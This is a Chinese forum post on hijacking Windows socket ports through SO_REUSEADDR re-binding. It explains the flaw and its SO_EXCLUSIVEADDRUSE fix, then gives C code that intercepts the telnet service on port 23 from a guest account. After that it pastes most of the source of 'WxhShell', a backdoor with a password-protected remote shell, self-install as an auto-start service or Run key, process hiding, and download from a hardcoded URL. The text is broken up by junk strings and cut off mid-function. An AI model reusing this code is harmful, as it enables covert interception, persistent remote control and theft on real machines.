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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e}e8WR=B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n_e'n|T  
yS\&2"o  
  saddr.sin_family = AF_INET; _]>1(8_N  
sV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fo@^=-4A-  
5XZ! yYB?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^QRg9s,T<  
S }`sp[6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^hC'\09=c  
G:=hg6 '  
  这意味着什么?意味着可以进行如下的攻击: c~Ka) dF|  
F3qK6Ah.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HB/V4ki  
o|(5Sr&H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ' [ 4;QYw  
@LKQ-<dZG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &N|$G8\CY  
&r5q,l&@n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +$,Re.WnP  
Pd*[i7zhC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jhNFaBrS  
&7aWVKon  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i6`"e[aT[o  
9oWU]A\k>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V8?}I)#(7  
%a;#]d  
  #include iQwQ5m!d &  
  #include x *eU~e_jP  
  #include \c=I!<9  
  #include    }{o !  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \*xB<mq  
  int main() "ZuuSi  
  { qLN^9PdEE  
  WORD wVersionRequested; n +~Dc[  
  DWORD ret; G6sK3K  
  WSADATA wsaData; BX,)G HE  
  BOOL val; }h5i Tc  
  SOCKADDR_IN saddr; <uH8Fivb  
  SOCKADDR_IN scaddr; {meX2Z4  
  int err; mPV<a&U  
  SOCKET s; \N>-+r  
  SOCKET sc; _'u]{X\k{J  
  int caddsize; XpIiJry!6  
  HANDLE mt; /Rp]"S vt  
  DWORD tid;   C6_(j48&  
  wVersionRequested = MAKEWORD( 2, 2 ); hRcb}>pr  
  err = WSAStartup( wVersionRequested, &wsaData ); ]b/]^1-(b  
  if ( err != 0 ) { lfGyK4:  
  printf("error!WSAStartup failed!\n"); 'Wonz<{'  
  return -1; ]T4/dk&|o^  
  } Nk`UQ~g$  
  saddr.sin_family = AF_INET; o\AnM5  
   0J)s2&H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3dShznlf_*  
sGvbL-S-f:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S2~cAhR|M  
  saddr.sin_port = htons(23); .1x04Np!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $Gn.G_"v  
  { ;t`  ?|  
  printf("error!socket failed!\n"); #x%'U}sF  
  return -1; 1SQATUV  
  } c}x1-d8  
  val = TRUE; S)rZE*~2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l.[pnLD  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mYBEjZ B  
  { "(koR Q  
  printf("error!setsockopt failed!\n"); (}"D x3K  
  return -1; "}]`64?  
  } g(DD8;]w<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?Cq7_rq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eE;tiX/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #m+!<  
q!c(~UVw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *OVB;]D3+  
  { Rd?}<L  
  ret=GetLastError(); ,!ZuH?Z  
  printf("error!bind failed!\n"); <G"cgN#]  
  return -1; E$d3+``  
  } ijI/z5  
  listen(s,2); ]m]`J|%i  
  while(1) 'X~tt#T  
  { UNI< r  
  caddsize = sizeof(scaddr); Pg4&}bX:I  
  //接受连接请求 ? @V R%z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Fc[KIG3@  
  if(sc!=INVALID_SOCKET) C3AWXO ^  
  { oL4W>b )  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *2X6;~  
  if(mt==NULL) rvA>khu0/  
  { ?-??>& z  
  printf("Thread Creat Failed!\n"); XLpP*VH3  
  break; 1I Yip\:lS  
  } ,RP-)j"Wff  
  } jA? #!lx_  
  CloseHandle(mt); fBO/0uW  
  } Q&m85'r5X  
  closesocket(s); Wj{lb_Rj  
  WSACleanup(); ia6 jiW x  
  return 0; U~ {k_'-i  
  }   ,OZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) U}v`~' K  
  { 4Z)4WGp!  
  SOCKET ss = (SOCKET)lpParam; ?7{U=1gb$  
  SOCKET sc; *0WVrM06?  
  unsigned char buf[4096]; +vc+9E.?9  
  SOCKADDR_IN saddr; Xj?Wvt  
  long num; I-v} DuM  
  DWORD val; M,Gy.ivz  
  DWORD ret;  %zavSm"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Pz]WT1J0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4^_6~YP7  
  saddr.sin_family = AF_INET; r}U6LE?>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P jQl(v&O  
  saddr.sin_port = htons(23); tzI|vVT,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1- RY5R}VR  
  { %V_ XY+o  
  printf("error!socket failed!\n"); c '|*{%<e2  
  return -1; +sNS  
  } HC0juT OiO  
  val = 100; ~Ps*i]n(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |T#cq!  
  { \0@DOW22C  
  ret = GetLastError(); 9#E *o~1  
  return -1; U#<d",I  
  } h y rPu_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ^`H'LD  
  { cS&KD@.  
  ret = GetLastError(); SH*'<  
  return -1;  31n"w;  
  } So5/n7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BD6!,  
  { j }~?&yB  
  printf("error!socket connect failed!\n"); &9jJ\+:7  
  closesocket(sc); LpHGt]|D  
  closesocket(ss); ~z^l~Vyg?  
  return -1; *oO%+6nL  
  } bGh&@&dHr  
  while(1) 'afW'w@  
  { y"?`MzcJ0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a%q,P @8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L03I:IJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ui]iO p  
  num = recv(ss,buf,4096,0); [*%lm9 x  
  if(num>0) H4Bt.5O*  
  send(sc,buf,num,0); +o+f\!  
  else if(num==0) ,Csdon  
  break; ~B<\#oO  
  num = recv(sc,buf,4096,0); 288mP]a(v_  
  if(num>0) QW..=}pL  
  send(ss,buf,num,0); Uo3  
  else if(num==0) =B&|\2`{)  
  break; lyL6w1  
  } GtRpgM  
  closesocket(ss); y)r`<B  
  closesocket(sc); `(W"wC   
  return 0 ; St;9&A  
  } G>~/  
}#zL)+XI  
F'~r?D  
========================================================== <h(AJX7wsD  
% :G78.  
下边附上一个代码,,WXhSHELL 33` bKKO}  
a- *sm~u  
========================================================== lU 9o"2  
c coi  
#include "stdafx.h" x ]VycS  
51:5rN(_  
#include <stdio.h> TjpyU:R,&|  
#include <string.h> /G5KNSi  
#include <windows.h> lB}?ey   
#include <winsock2.h> c[J 2;"SP  
#include <winsvc.h> WjBml'^RY  
#include <urlmon.h> *gmc6xY  
{UH45#Ua  
#pragma comment (lib, "Ws2_32.lib") 03?ADjO  
#pragma comment (lib, "urlmon.lib") pyf'_  
mI2Gs) SO  
#define MAX_USER   100 // 最大客户端连接数 Wv>`x?W  
#define BUF_SOCK   200 // sock buffer ,WdSJ BK'a  
#define KEY_BUFF   255 // 输入 buffer ?;=7{E j  
)t~ad]oM  
#define REBOOT     0   // 重启 /5%'q~  
#define SHUTDOWN   1   // 关机 yXkQ ,y  
A._CCou  
#define DEF_PORT   5000 // 监听端口 D~inR3(}  
[,&g46x22  
#define REG_LEN     16   // 注册表键长度 [\F:NLjiUy  
#define SVC_LEN     80   // NT服务名长度 )^UqB0C6^  
g=KK PSK  
// 从dll定义API lf\"6VIsR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qY&(O`?m&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :WH{wm|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n4?;!p<F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F_u ?.6e]  
vkLt#yj~  
// wxhshell配置信息 e_Zs4\^ef  
struct WSCFG { 4 JBfA,  
  int ws_port;         // 监听端口 ;E}&{w/My  
  char ws_passstr[REG_LEN]; // 口令 r:xg#&"*  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0"-H34M <D  
  char ws_regname[REG_LEN]; // 注册表键名 C&q}&=3r  
  char ws_svcname[REG_LEN]; // 服务名 0$XrtnM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ( *26aMp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vU/sQt8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b5p;)#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wPyc?:|KD?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1>_$O|dE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -vT$UP  
$IKN7  
}; GNG.N)q#C  
rI)&.5^  
// default Wxhshell configuration 9( &$Gwi  
struct WSCFG wscfg={DEF_PORT, :U1V 2f'l3  
    "xuhuanlingzhe", O[ans_8  
    1, N9c#N%cu  
    "Wxhshell", F&/ }x15  
    "Wxhshell", ~9f Ts4U  
            "WxhShell Service", ^[HX#JJ~  
    "Wrsky Windows CmdShell Service", 8Z@O%\1x6  
    "Please Input Your Password: ", 6{Bvl[mhI  
  1, ht:L L#b*(  
  "http://www.wrsky.com/wxhshell.exe", e?aSM  
  "Wxhshell.exe" a(U/70j  
    }; =c[mch%E  
@S012} xH  
// 消息定义模块 lZ+ 1 A0e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @[(%b{TE;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wRWKem=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B@3>_};Ct  
char *msg_ws_ext="\n\rExit."; WtSlD9 h  
char *msg_ws_end="\n\rQuit."; 87V XVI  
char *msg_ws_boot="\n\rReboot..."; lce~6}  
char *msg_ws_poff="\n\rShutdown..."; U&tR1v'  
char *msg_ws_down="\n\rSave to "; *u<@_Oa  
MU_ >+Wnf  
char *msg_ws_err="\n\rErr!"; A`1/g{Ha  
char *msg_ws_ok="\n\rOK!"; 6? (8KsaN  
6~+?DIc  
char ExeFile[MAX_PATH]; PI" )^`  
int nUser = 0; VM ny>g&3  
HANDLE handles[MAX_USER]; q->46{s|  
int OsIsNt; #lm1"~`5  
-aMwC5iR@  
SERVICE_STATUS       serviceStatus; "2/VDB4!FG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xp3cYS*u  
p&\x*~6u  
// 函数声明 785Y*.p  
int Install(void); q} R"  
int Uninstall(void); Y|i!\Ae  
int DownloadFile(char *sURL, SOCKET wsh); z//6yr  
int Boot(int flag); ph1veD<ZZ  
void HideProc(void); _^ @}LVv+E  
int GetOsVer(void); WxLILh  
int Wxhshell(SOCKET wsl); ZGOI8M]@  
void TalkWithClient(void *cs); pKSVT  
int CmdShell(SOCKET sock); Uz!cVs?-  
int StartFromService(void); 58My6(5y  
int StartWxhshell(LPSTR lpCmdLine); BPKeG0F7  
aI8K*D )@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FCmS3KIa,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M:(k7a+[^  
',* 6vbII  
// 数据结构和表定义 Z5{M_^  
SERVICE_TABLE_ENTRY DispatchTable[] = >!YI7)  
{ F3a"SKMW  
{wscfg.ws_svcname, NTServiceMain}, D &wm7,  
{NULL, NULL} `ml;#n,*  
}; T3{qn$t8  
ODM<$Yo:d  
// 自我安装 B|~\m ~  
int Install(void) GRj{*zs  
{ o0Hh&:6!M  
  char svExeFile[MAX_PATH]; ^f1}:g  
  HKEY key; TO)wjF_  
  strcpy(svExeFile,ExeFile); d=wzN3 ;-  
,[^P  
// 如果是win9x系统,修改注册表设为自启动 FUm-Fp  
if(!OsIsNt) { F:M3^I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g!%csf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~GS`@IU}  
  RegCloseKey(key); VxfFk4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5R,/X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TZZ qV8  
  RegCloseKey(key); J(-#(kMyf  
  return 0; diqG8KaK  
    } tL;;Yt  
  } qx53,^2  
} \"PlM!0du  
else { '&T4ryq3"  
F{f "xM  
// 如果是NT以上系统,安装为系统服务 )CXJRo`j0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r0j:ll d  
if (schSCManager!=0) m(Bv}9  
{ E<&VK*{zcO  
  SC_HANDLE schService = CreateService 2@ACmh  
  ( )kgy L,9  
  schSCManager, Ra_6}k  
  wscfg.ws_svcname, 4y21v|(9  
  wscfg.ws_svcdisp, {q8V  
  SERVICE_ALL_ACCESS, P RX:*0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o &LNtl;  
  SERVICE_AUTO_START, 94|BSxc  
  SERVICE_ERROR_NORMAL, Pd^ilRB  
  svExeFile, yNY1g?E  
  NULL, rMf& HX  
  NULL, {v]A`u)  
  NULL, ycCEXu2F  
  NULL, bEy j8=P;  
  NULL Fv5@-&y$W  
  ); @ZK|k  
  if (schService!=0) tM ]qR+  
  { ='OPU5(;O  
  CloseServiceHandle(schService);  i)8,u  
  CloseServiceHandle(schSCManager); aCFO ]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0V`0="rQ  
  strcat(svExeFile,wscfg.ws_svcname); |3\ mH~Bw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (D{9~^EO>a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $N5}N\C:a  
  RegCloseKey(key); x8gUP  
  return 0; 81H04L9K 7  
    } )>$xbo")k  
  } aeE9dV~  
  CloseServiceHandle(schSCManager); CQzJ_aSJ (  
} J0lTp /  
} G4MNcy  
i v&:X3iB  
return 1; 0j4bu}@  
} xC!,v 0&  
F ~ /{1Q*  
// 自我卸载 d5+ (@HSR  
int Uninstall(void) ;&^S-+  
{ x(5>f9bb  
  HKEY key; x>;! `}x  
L&Bc-kMH  
if(!OsIsNt) { N 0&h5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Ex\j?  
  RegDeleteValue(key,wscfg.ws_regname); .z7F58  
  RegCloseKey(key); ;0P2nc:U~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BRFA%FZ,  
  RegDeleteValue(key,wscfg.ws_regname); FSIV\ u  
  RegCloseKey(key); S;a{wYF6v  
  return 0; S;MS,R  
  } 2zh?]if  
} ZVR0Kzu?Ra  
} = %\;7  
else { /R b`^n#  
9L]x9lI;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2W~,,$ G  
if (schSCManager!=0) ;Q:^|Fw!F  
{ q[ ] "`?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E@7";&\-8  
  if (schService!=0) mH}/QfUlq  
  { Gyk>5Q}}  
  if(DeleteService(schService)!=0) { >mgbs>  
  CloseServiceHandle(schService); cx&jnF#$  
  CloseServiceHandle(schSCManager); Gc<Jx|Q7  
  return 0; 5qGRz"\p~  
  } L8Z[Ly+_  
  CloseServiceHandle(schService); ]tanvJG}'  
  } h$_Wh(  
  CloseServiceHandle(schSCManager); l&dHH_m3  
} 6I.N:)=  
} PnJr  
Ultx|qU  
return 1; uB>NwCL;  
} qDxz`}Ly=  
u 3wF)B{  
// 从指定url下载文件 G9<p Yt{:  
int DownloadFile(char *sURL, SOCKET wsh) jX$TiG  
{ j/5>zS  
  HRESULT hr; K8$Hg:Ky-/  
char seps[]= "/"; \5BI!<  
char *token; &kB[jz_[A  
char *file; E<1^i;F  
char myURL[MAX_PATH]; .;u(uB;J6  
char myFILE[MAX_PATH]; :W_S  
4d)w2t?H%  
strcpy(myURL,sURL); {6!Mf+Xq  
  token=strtok(myURL,seps); Uq 2Uv  
  while(token!=NULL) Oj:O-PtN2  
  { N'+d1  
    file=token; LDN'o1$qo  
  token=strtok(NULL,seps); !bFa\6]q  
  } z%Ywjfn'  
Z~F% K~(  
GetCurrentDirectory(MAX_PATH,myFILE); 6A7UW7/  
strcat(myFILE, "\\"); _- H uO/  
strcat(myFILE, file); 6|r` k75.  
  send(wsh,myFILE,strlen(myFILE),0); v1?P$f*g  
send(wsh,"...",3,0); Sdz!J 1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); + V4BJ/H  
  if(hr==S_OK) 7=N=J<]pl  
return 0; udX4SBq-pC  
else `9B xDp]I  
return 1; "5Bga jrB  
, d ?4"8_  
} 6C9KT;6  
j 9XY%4.  
// 系统电源模块 P1]ucu_y,  
int Boot(int flag) ~j" aJ /  
{ PQ.xmg2  
  HANDLE hToken; }UMg ph:2:  
  TOKEN_PRIVILEGES tkp; R!lNm,i  
ptQr8[FA  
  if(OsIsNt) { #M&rmKv)g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %gSqc }v*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TD].*9  
    tkp.PrivilegeCount = 1; -v8Jn# f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?^mgK9^v@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fu}NH \{  
if(flag==REBOOT) { hi"[R@UG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1el?f>  
  return 0; zLc.4k  
} -`n>q^A7e  
else { cEnkt=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E `Ualai  
  return 0; \ v44Vmfz  
} w-FZ`OA`D  
  } .FK[Y?ci#  
  else { 7f8%WD)  
if(flag==REBOOT) { x=Qy{eIe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~` @dI  
  return 0; 6%H8Q v  
} Yd~K\tX :n  
else { EXH{3E54)`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?{?mAb c  
  return 0; "5 PP<A,F(  
} w(8q qU+\  
} !;{@O`j?b  
y A?>v'K  
return 1; *_`T*$  
} h?j;*|o-  
0){%4  
// win9x进程隐藏模块 v]F q}I"  
void HideProc(void) 0&=2+=[c  
{ D%(9ot{!e  
'!Ps4ZTn_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j|FGb:  
  if ( hKernel != NULL ) 2`+?s  
  { =rl/ l8|P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fx4C]S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s=(~/p#M  
    FreeLibrary(hKernel); u><ax  
  } Fe.Y4\xz  
E"!9WF(2t5  
return; $5GvF1  
} Qc;`n ck  
V[wEn9   
// 获取操作系统版本 cBmo#:>'  
int GetOsVer(void) W=5+k0Q  
{ =vT3SY  
  OSVERSIONINFO winfo; B3O^(M5W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B h@R9O<  
  GetVersionEx(&winfo); Fly@"W4a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8V_ ]}W  
  return 1; TSdjX]Kf  
  else jPP aL]  
  return 0; '97)c7E  
} Z%Y=Lx  
M$FXDyr  
// 客户端句柄模块 CWE jX-  
int Wxhshell(SOCKET wsl) $^IuE0.  
{ *0i   
  SOCKET wsh; Id]WKL:  
  struct sockaddr_in client; t"2WJ-1k}  
  DWORD myID; _E)xR  
0MMY{@n  
  while(nUser<MAX_USER) m{mK;D  
{ 00U8<~u  
  int nSize=sizeof(client); b6bmvHD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^*A/92!yF  
  if(wsh==INVALID_SOCKET) return 1; & ?/h5<  
;&W N%L*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dmP*2  
if(handles[nUser]==0) fL83:<RK  
  closesocket(wsh); \b.2f+;3  
else < t>N(e  
  nUser++; =zVbZ7  
  } aC]~   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '0H +2  
(S5'iks x  
  return 0; $Y$!nPO  
} |1g2\5Re  
J2aA"BhdC"  
// 关闭 socket 7Yk6C5C  
void CloseIt(SOCKET wsh) QlJCdCSy  
{ s=q\BmG  
closesocket(wsh); A!fjw  
nUser--; 'QeqWn  
ExitThread(0); x9Gm)~  
} .Yha(5(  
v&H&+:<  
// 客户端请求句柄 '  AeU  
void TalkWithClient(void *cs) >P\T nb"Q\  
{ Lrq+0dI 65  
m\1*/6oV  
  SOCKET wsh=(SOCKET)cs; ed{z^!w4  
  char pwd[SVC_LEN]; Mk@_uPm  
  char cmd[KEY_BUFF]; E'XF n'  
char chr[1]; 4LBjqv,P  
int i,j; ^Xa-)Pu  
jXZKR(L  
  while (nUser < MAX_USER) { J4`08,  
hJFQ/(  
if(wscfg.ws_passstr) { >:OOuf#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zXcSE"   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |8+<qgQ  
  //ZeroMemory(pwd,KEY_BUFF); c0Q`S"o+  
      i=0; y9W*/H{[`  
  while(i<SVC_LEN) { Oo7n_h1  
E_ mgYW*5  
  // 设置超时 7acAU{Rr  
  fd_set FdRead; kZz;l(?0  
  struct timeval TimeOut; t$\]6RU  
  FD_ZERO(&FdRead); 1-w1k ^e  
  FD_SET(wsh,&FdRead); '?3Hy|}  
  TimeOut.tv_sec=8; O "{o (  
  TimeOut.tv_usec=0; Em4TEv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )x( *T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mT!~;] RrF  
Onot<}K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '7Te{^<FQ$  
  pwd=chr[0]; ^gb2=gWZ<  
  if(chr[0]==0xd || chr[0]==0xa) { r\Man'h$  
  pwd=0; QQC0uta`  
  break; ge[\%  
  } R?l>Vr  
  i++; Gc@ENE f  
    } YJ3970c/M  
+?mZ_sf8w  
  // 如果是非法用户,关闭 socket "B+M5B0Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }O o  
} _II;$_N  
E"V|Plf c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g1&GX(4[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bz}T}nj  
?5/Sa  
while(1) { +d#ZSNu/  
B623B HwS  
  ZeroMemory(cmd,KEY_BUFF); Dhef|E<  
B'~.>, fg  
      // 自动支持客户端 telnet标准   :=~([oSNW"  
  j=0; Kx<bVK4"  
  while(j<KEY_BUFF) { 0D.YO<PU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [=LQ,e$r7  
  cmd[j]=chr[0]; V2.MZ9  
  if(chr[0]==0xa || chr[0]==0xd) { Mb$&~!  
  cmd[j]=0; 0|4XV{\qT$  
  break; 6'qs=Ql  
  } vLkZC  
  j++; "J[Crm  
    } yq;gBIiZ  
kyY tL_SD  
  // 下载文件 }1(F~6RH  
  if(strstr(cmd,"http://")) { Dk[[f<H_{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S{ *RF)  
  if(DownloadFile(cmd,wsh)) wt)tLMEv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :r#FI".qx  
  else ,T1 t`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (<3'LhFII  
  } 'z+8;g.ekO  
  else { nk6xavQji  
!@*Ac$J>$  
    switch(cmd[0]) { Iy`Zh@"~  
  e'7!aysj  
  // 帮助 0! !pNK%(  
  case '?': { * =r,V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WU}JArX9  
    break; 9Y-s],2V  
  } tR2IjvmsX  
  // 安装 *[_?4*F  
  case 'i': { ~W`upx)j  
    if(Install()) rY($+O@a<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YFsEuaV  
    else S W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q=w\)qJ  
    break; Pk*EnA)  
    } +hK Qha!*  
  // 卸载 YMJjO0  
  case 'r': { #msk'MVt  
    if(Uninstall()) =|uX?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c< \:lhl  
    else n;!t?jnf.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7eh}Je8  
    break; v>0xHQD*<M  
    } ]36R_Dp  
  // 显示 wxhshell 所在路径 HiVF<tN  
  case 'p': { +mV4Ty  
    char svExeFile[MAX_PATH]; A^o  
    strcpy(svExeFile,"\n\r"); wCc:HfmjJ  
      strcat(svExeFile,ExeFile); ]y!|x_5c3  
        send(wsh,svExeFile,strlen(svExeFile),0); H VG'v>s@  
    break; D<Ads  
    } k(hes3JV  
  // 重启 ~vaV=})  
  case 'b': { {P-KU RQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %VSST?aUvX  
    if(Boot(REBOOT)) J&Le*R'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &*L:4By)]  
    else { :S?'6lOc(  
    closesocket(wsh); <[[DS%(M^  
    ExitThread(0); o_os;  
    } R}Z"Y xx  
    break; TZPWMCN4  
    } K3'`!Ka*  
  // 关机 +B c/@.Q'  
  case 'd': { B 2&fvv?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wc03Sv&FZ  
